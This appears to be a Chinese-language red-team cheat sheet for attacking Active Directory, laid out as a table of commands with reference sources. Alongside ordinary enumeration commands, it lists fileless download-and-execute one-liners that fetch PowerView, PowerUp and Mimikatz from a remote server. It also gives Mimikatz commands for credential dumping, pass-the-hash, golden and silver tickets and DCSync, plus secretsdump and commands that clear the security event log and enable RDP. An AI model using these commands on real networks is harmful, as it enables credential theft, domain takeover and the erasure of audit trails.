技术/命令名称 | 命令 | 类型 | 参考 |
---|
收集域 SID | Get-ADDomain | Select-Object SID
| PowerShell | Microsoft 文档 |
列出域控制器 | nltest /dclist:domain
| CMD | Microsoft 文档 |
枚举域组 | Get-ADGroup -Filter * | Select-Object Name
| PowerShell | Microsoft 文档 |
检查 AD 复制状态 | repadmin /replsummary
| CMD | Microsoft 文档 |
枚举域用户 | Get-ADUser -Filter * | Select-Object Name, SamAccountName
| PowerShell | AD 漏洞利用速查表 |
获取域密码策略 | Get-ADDefaultDomainPasswordPolicy
| PowerShell | PowerShell 红队 |
识别域管理员成员 | Get-ADGroupMember -Identity "Domain Admins"
| PowerShell | Microsoft 文档 |
检查 Kerberos 票证政策 | Get-ADDefaultDomainPasswordPolicy | Select-Object -ExpandProperty KerberosTicketPolicy
| PowerShell | AD 漏洞利用速查表 |
列出所有组织单位 (OU) | Get-ADOrganizationalUnit -Filter *
| PowerShell | Microsoft 文档 |
识别具有委派权限的用户 | Get-ADUser -Filter {TrustedForDelegation -eq $true}
| PowerShell | PowerShell 红队 |
列出 AD 用户的详细信息 | Get-ADUser -Filter * -Properties DisplayName, EmailAddress, LastLogonDate
| PowerShell | Microsoft 文档 |
使用 SPN 识别账户(Kerberoasting) | Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
| PowerShell | AD 漏洞利用速查表 |
查找管理员账户 | dsquery user -name *admin*
| CMD | HackTricks – AD 方法论 |
列出所有域计算机 | Get-ADComputer -Filter * | Select-Object Name, OperatingSystem
| PowerShell | 中等 – AD 枚举 |
检查组策略对象 (GPO) | Get-GPO -All
| PowerShell | 活动目录专业版 |
列出特权组 | net group "Domain Admins" /domain
| CMD | HackTheBox – AD 渗透测试指南 |
查找具有无约束委派的机器 | Get-ADComputer -Filter {TrustedForDelegation -eq $true}
| PowerShell | PowerShell 红队 |
检查用户帐户锁定状态 | Get-ADUser -Filter * -Properties LockedOut | Where-Object {$_.LockedOut -eq $true}
| PowerShell | Exploit-DB – AD 枚举指南 |
识别过期的密码 | Search-ADAccount -PasswordExpired | Select-Object Name, PasswordExpired
| PowerShell | 渗透测试一切-AD 枚举 |
查询所有域服务 | nltest /dsgetdc:domain
| CMD | 中级 – 使用 PowerShell 进行 AD 枚举 |
枚举受信任的域 | nltest /trusted_domains
| CMD | GitHub – AD 渗透测试 |
列出广告网站 | Get-ADReplicationSite -Filter *
| PowerShell | Microsoft 文档 |
获取域林信息 | Get-ADForest
| PowerShell | CBT Nuggets – 常见的 AD 命令 |
查找用户的 SID 历史记录(SID 历史记录滥用) | Get-ADUser -Filter * -Properties SIDHistory | Where-Object {$_.SIDHistory}
| PowerShell | AD 漏洞利用速查表 |
检查域控制器证书 | certutil -dcinfo verify
| CMD | PowerShell 红队 |
导入 PowerView 模块 | powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://remoteserver/PowerView.ps1'); Get-NetUser"
| PowerShell | PowerSploit-PowerView |
导入 PowerUp 模块 | powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://remoteserver/PowerUp.ps1'); Invoke-AllChecks"
| PowerShell | PowerSploit-PowerUp |
使用 PowerView 查找域管理员 | Get-NetGroup -GroupName "Domain Admins" | Get-NetGroupMember
| PowerShell (PowerView) | PowerSploit-PowerView |
使用 PowerView 列出所有域 | Get-NetDomain
| PowerShell (PowerView) | HackTricks – AD 方法论 |
使用 PowerView 枚举域信任 | Get-NetDomainTrust
| PowerShell (PowerView) | 中等 – AD 枚举 |
使用 PowerUp 查找本地权限提升路径 | Invoke-AllChecks
| PowerShell(PowerUp) | PowerSploit-PowerUp |
使用 PowerUp 识别本地管理员 | Get-LocalGroupMember -Group "Administrators"
| PowerShell | PowerSploit-PowerUp |
使用 PowerView 搜索可 Kerberoast 攻击的账户 | Get-NetUser -SPN | Select-Object servicePrincipalName
| PowerShell (PowerView) | PowerSploit-PowerView |
使用 PowerView 列出域计算机上的所有会话 | Get-NetSession -ComputerName target-machine
| PowerShell (PowerView) | 渗透测试一切-AD 枚举 |
使用 PowerView 枚举所有域计算机上的本地管理员 | Invoke-EnumerateLocalAdmin -ComputerName target-machine
| PowerShell (PowerView) | PowerSploit-PowerView |
使用 PowerUp 查找弱文件权限 | Invoke-CheckLocalAdminAccess
| PowerShell(PowerUp) | PowerSploit-PowerUp |
使用 PowerUp 检查可写注册表路径 | Invoke-AllChecks | Select-Object WritableRegPaths
| PowerShell(PowerUp) | PowerSploit-PowerUp |
使用 SecretsDump 转储域名哈希 | secretsdump.py domain/username:password@target
| Python(Impacket) | Impacket-SecretsDump |
使用 PowerView 检查域策略 | Get-DomainPolicy
| PowerShell (PowerView) | PowerSploit-PowerView |
使用 PowerView 识别有趣的 ACL | Find-InterestingDomainAcl
| PowerShell (PowerView) | PowerSploit-PowerView |
枚举域用户 (LDAP) | dsquery user -name *
| CMD | 活动目录专业版 |
获取域名信息 | Get-ADDomain
| PowerShell | Microsoft 文档 |
枚举域林 | Get-ADForest
| PowerShell | Microsoft 文档 |
列出域中的所有用户 | net user /domain
| CMD | 活动目录专业版 |
获取域功能级别 | Get-ADDomain | Select-Object DomainMode
| PowerShell | HackTricks – AD 方法论 |
列出域组 | Get-ADGroup -Filter * | Select-Object Name
| PowerShell | 中等 – AD 枚举 |
查询域中的域控制器 | nltest /dclist:domain
| CMD | Microsoft 文档 |
查找 DC 站点信息 | nltest /dsgetsite
| CMD | Microsoft 文档 |
列出域中的所有计算机 | Get-ADComputer -Filter *
| PowerShell | 活动目录专业版 |
获取林中的所有子网 | Get-ADReplicationSubnet -Filter *
| PowerShell | Microsoft 文档 |
检查 LDAP 服务器状态 | nltest /dsgetdc:domain /ldaponly
| CMD | Microsoft 文档 |
获取 AD DNS 区域信息 | Get-DnsServerZone
| PowerShell | Microsoft 文档 |
检查域组成员身份 | net group "GroupName" /domain
| CMD | CBT Nuggets – AD 命令 |
获取域用户上次登录时间 | Get-ADUser -Filter * -Properties LastLogonDate | Select Name, LastLogonDate
| PowerShell | 中等 – AD 枚举 |
列出所有服务帐户 | Get-ADUser -Filter {ServicePrincipalName -ne "$null"} | Select Name, ServicePrincipalName
| PowerShell | 渗透测试一切-AD 枚举 |
获取域的密码策略 | Get-ADDefaultDomainPasswordPolicy
| PowerShell | 活动目录专业版 |
列出域计算机上的打开文件共享 | net view \\target-machine
| CMD | Exploit-DB-AD 枚举 |
查找 Active Directory 站点 | Get-ADReplicationSite -Filter *
| PowerShell | Microsoft 文档 |
列出组织单位 (OU) | Get-ADOrganizationalUnit -Filter *
| PowerShell | Microsoft 文档 |
检查计算机的组策略 | gpresult /r /scope computer
| CMD | Microsoft 文档 |
查询域中的 DNS 服务器 | Get-DnsServerResourceRecord -ZoneName "domain.local"
| PowerShell | Microsoft 文档 |
枚举全局目录服务器 | nltest /dsgetdc:/gc
| CMD | Microsoft 文档 |
获取域密码过期策略 | net accounts /domain
| CMD | HackTheBox – AD 渗透测试指南 |
获取域控制器 | Get-ADDomainController -Filter *
| PowerShell | Microsoft 文档 |
枚举所有组织单位 (OU) | Get-ADOrganizationalUnit -Filter * | Select-Object Name, DistinguishedName
| PowerShell | Microsoft 文档 |
列出特定组中的用户 | Get-ADGroupMember -Identity "Domain Admins" | Select-Object Name, SamAccountName
| PowerShell | AD 漏洞利用速查表 |
检查所有用户的上次登录时间 | Get-ADUser -Filter * -Properties LastLogonDate | Where-Object {$_.LastLogonDate -ne $null} | Select-Object Name, LastLogonDate
| PowerShell | 活动目录专业版 |
列出 Active Directory 站点 | Get-ADReplicationSite -Filter *
| PowerShell | Microsoft 文档 |
在计算机上查找本地管理员 | net localgroup Administrators
| CMD | Microsoft 文档 |
获取密码过期的域用户 | Search-ADAccount -PasswordExpired | Select-Object Name, PasswordExpired
| PowerShell | HackTheBox – AD 渗透测试指南 |
查询域林全局目录 | nltest /gc
| CMD | Microsoft 文档 |
检查域管理员帐户状态 | Get-ADUser -Filter {MemberOf -RecursiveMatch 'Domain Admins'} | Select-Object Name, Enabled
| PowerShell | 渗透测试一切-AD 枚举 |
列出域中的特权帐户 | Get-ADUser -Filter {AdminCount -eq 1} | Select-Object Name, SamAccountName
| PowerShell | 中等 – AD 枚举 |
枚举组策略对象 (GPO) | Get-GPO -All | Select-Object DisplayName, GpoStatus
| PowerShell | PowerShell 红队 |
识别具有不受约束委派的计算机 | Get-ADComputer -Filter {TrustedForDelegation -eq $true} | Select-Object Name, DNSHostName
| PowerShell | PowerSploit-PowerView |
列出所有域组及其成员 | Get-ADGroup -Filter * | ForEach-Object {Get-ADGroupMember -Identity $_.Name | Select Name, SamAccountName}
| PowerShell | AD 漏洞利用速查表 |
查找域密码策略设置 | net accounts /domain
| CMD | 活动目录专业版 |
列出服务主体名称 (SPN) | Get-ADUser -Filter {ServicePrincipalName -ne "$null"} | Select-Object Name, ServicePrincipalName
| PowerShell | HackTricks – AD 方法论 |
枚举 DNS 服务器 | Get-DnsServer | Select-Object Name, IPAddress
| PowerShell | Microsoft 文档 |
列出特定 OU 上的委派管理员 | Get-ACL "OU=TestOU,DC=domain,DC=com" | Format-List
| PowerShell | 中等 – AD 枚举 |
识别过期帐户 | Search-ADAccount -AccountExpired | Select-Object Name, Enabled
| PowerShell | AD 漏洞利用速查表 |
检查域控制器同步状态 | repadmin /showrepl
| CMD | Microsoft 文档 |
查找启用了 LAPS 的计算机 | Find-AdmPwdExtendedRights -Identity "OU=Workstations,DC=domain,DC=com"
| PowerShell | Microsoft 文档 |
查看所有复制子网 | Get-ADReplicationSubnet -Filter *
| PowerShell | Microsoft 文档 |
列出具有高权限的计算机 | Get-ADComputer -Filter {PrimaryGroupID -eq 512}
| PowerShell | 中等 – AD 枚举 |
获取 AD 域站点和子网 | Get-ADReplicationSite | Select-Object Name, SiteObjectGUID
| PowerShell | Microsoft 文档 |
枚举密码策略 | Get-ADFineGrainedPasswordPolicy
| PowerShell | Microsoft 文档 |
查找高价值目标(例如具有 SPN 的管理员) | Get-ADUser -Filter {ServicePrincipalName -ne "$null" -and MemberOf -like "*Domain Admins*"} | Select Name, ServicePrincipalName
| PowerShell | AD 漏洞利用速查表 |
列出所有域组和成员计数 | Get-ADGroup -Filter * | ForEach-Object {Write-Output "$($_.Name): $((Get-ADGroupMember -Identity $_.Name).Count)"}
| PowerShell | 活动目录专业版 |
查找敏感账户委托 | Get-ADUser -Filter {TrustedForDelegation -eq $true} | Select-Object Name, SamAccountName
| PowerShell | HackTricks – AD 方法论 |
枚举域管理员 | Get-ADGroupMember -Identity "Domain Admins" | Select Name, SamAccountName, ObjectClass
| PowerShell | AD 漏洞利用速查表 |
检查 Kerberos 预身份验证已禁用的帐户 | Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | Select Name, SamAccountName
| PowerShell | Microsoft 文档 |
查找计算机上的所有会话 | quser /server:ComputerName
| CMD | Quser 命令 |
确定用户的所有 GPO 权限 | Get-GPPermission -All -User "UserName" | Select-Object DisplayName, Permission
| PowerShell | Microsoft 文档 |
枚举所有林信任 | Get-ADTrust -Filter *
| PowerShell | Microsoft 文档 |
列出远程计算机上的开放共享 | net view \\ComputerName /all
| CMD | 网络查看命令 |
检查计算机是否为域控制器 | if ((Get-ADComputer -Identity "ComputerName").PrimaryGroupID -eq 516) { "Domain Controller" }
| PowerShell | Microsoft 文档 |
列出特定 OU 的所有成员 | Get-ADUser -SearchBase "OU=Users,DC=domain,DC=com" -Filter * | Select Name, SamAccountName
| PowerShell | 活动目录专业版 |
使用永不过期的密码识别管理员帐户 | Get-ADUser -Filter {PasswordNeverExpires -eq $true -and AdminCount -eq 1} | Select-Object Name
| PowerShell | HackTricks – AD 方法论 |
获取支持 LAPS 的计算机 | Find-AdmPwdExtendedRights -Identity "OU=Computers,DC=domain,DC=com"
| PowerShell(LAPS) | Microsoft 文档 |
检查 Active Directory 复制队列 | repadmin /queue
| CMD | Microsoft 文档 |
列出缓存中的所有 Kerberos 票证 | klist
| CMD | Klist 命令 |
查找密码已过期的用户 | Search-ADAccount -PasswordExpired | Select-Object Name, SamAccountName
| PowerShell | Microsoft 文档 |
列出域中所有已禁用的帐户 | Search-ADAccount -AccountDisabled | Select-Object Name, SamAccountName
| PowerShell | Microsoft 文档 |
列出特定组的权限 | Get-ADGroupMember -Identity "Enterprise Admins" | Select Name, SamAccountName
| PowerShell | Microsoft 文档 |
列出域控制器上的会话 | qwinsta /server:DomainControllerName
| CMD | Qwinsta 命令 |
检查域控制器复制状态 | Get-ADReplicationPartnerMetadata -Target "DC=domain,DC=com"
| PowerShell | Microsoft 文档 |
列出远程系统上的本地管理员 | net localgroup Administrators /domain
| CMD | 网络本地组命令 |
以管理员身份运行 Mimikatz(无文件) | IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'privilege::debug sekurlsa::logonpasswords'
| PowerShell(无文件) | Mimikatz 备忘单 |
从内存中转储凭证(无文件) | IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'privilege::debug sekurlsa::logonpasswords'
| PowerShell(无文件) | Mimikatz 综合指南 |
提取 Kerberos 票证(无文件) | IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::list /export'
| PowerShell(无文件) | ADSecurity-Mimikatz |
传递哈希攻击(无文件) | IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'sekurlsa::pth /user:UserName /domain:domain.local /ntlm:hash /run:powershell.exe'
| PowerShell(无文件) | AkimboCore – Mimikatz |
枚举所有注册表项 | reg query HKLM
| CMD | SS64 – 注册命令 |
检查自动启动程序 | reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
| CMD | HackTricks – 注册表持久性 |
修改注册表项权限 | reg add HKLM\Software\ExampleKey /v ExampleValue /t REG_SZ /d "ExampleData" /f
| CMD | SS64 – Reg Add 命令 |
导出注册表配置单元 | reg export HKLM\Software\MyKey mykey.reg
| CMD | SS64 – 注册导出命令 |
强制组策略更新 | gpupdate /force
| CMD | SS64 – Gpupdate 命令 |
列出计算机已应用的 GPO | gpresult /R /SCOPE COMPUTER
| CMD | SS64 – Gpresult 命令 |
枚举链接到 OU 的所有 GPO | Get-GPLink -Domain domain.local -Target "OU=ExampleOU,DC=domain,DC=local"
| PowerShell | Microsoft 文档 |
列出域中的所有组策略 | Get-GPO -All
| PowerShell | Microsoft 文档 |
在远程计算机上查找本地管理员 | net localgroup Administrators /domain
| CMD | SS64 – Net Localgroup 命令 |
查看安全事件日志 | Get-EventLog -LogName Security -Newest 100
| PowerShell | Microsoft 文档 |
清除安全事件日志 | Clear-EventLog -LogName Security
| PowerShell | Microsoft 文档 |
启用远程桌面 (RDP) | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
| CMD | HackTricks – 启用 RDP |
金票攻击(无文件) | IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21- /krbtgt: /id:500' 在会话中加载票证:
IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::ptt '
| PowerShell(无文件) | HackTricks-黄金票 |
银票攻击(无文件) | IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::golden /user:UserName /domain:domain.local /sid:S-1-5-21- /target:ServerName /rc4: /service:cifs /id:500' 在会话中加载票证:
IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::ptt '
| PowerShell(无文件) | ADSecurity-银票 |
传递票证攻击(无文件) | 转储内存中的 Kerberos 票证:
IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'sekurlsa::tickets' 使用特定的 Kerberos 票证:
IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::ptt ' | PowerShell(无文件) | Mimikatz 备忘单 – 传递票证 |
转储缓存域凭据(无文件) | IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'sekurlsa::logonpasswords' (需要提升权限)
| PowerShell(无文件) | Mimikatz 综合指南 |
使用 DCSync (无文件) 转储域凭证 | IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'lsadump::dcsync /domain:domain.local /user:Administrator'
| PowerShell(无文件) | ADSecurity——DCSync 攻击 |
启用远程桌面 (RDP) | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
| CMD | HackTricks – 启用 RDP |
检查注册表项的持久性 | reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
| CMD | SS64 – 注册命令 |
列出用户权限分配 | Get-GPResultantSetOfPolicy -User domain\username -ReportType Html -Path C:\gporeport.html
| PowerShell | Microsoft 文档 |
导出所有组策略对象 | Backup-GPO -All -Path "C:\GPOBackups"
| PowerShell | Microsoft 文档 |
针对本地帐户的传递哈希攻击 | sekurlsa::pth /user:LocalUser /domain:localhost /ntlm: /run:powershell.exe
| Mimikatz | HackTricks – 传递哈希值 |
查询 Active Directory 复制伙伴 | repadmin /showrepl
| CMD | Microsoft 文档 |
列出所有 Active Directory 站点 | Get-ADReplicationSite -Filter *
| PowerShell | Microsoft 文档 |
识别域管理员组成员 | Get-ADGroupMember -Identity "Domain Admins"
| PowerShell | Microsoft 文档 |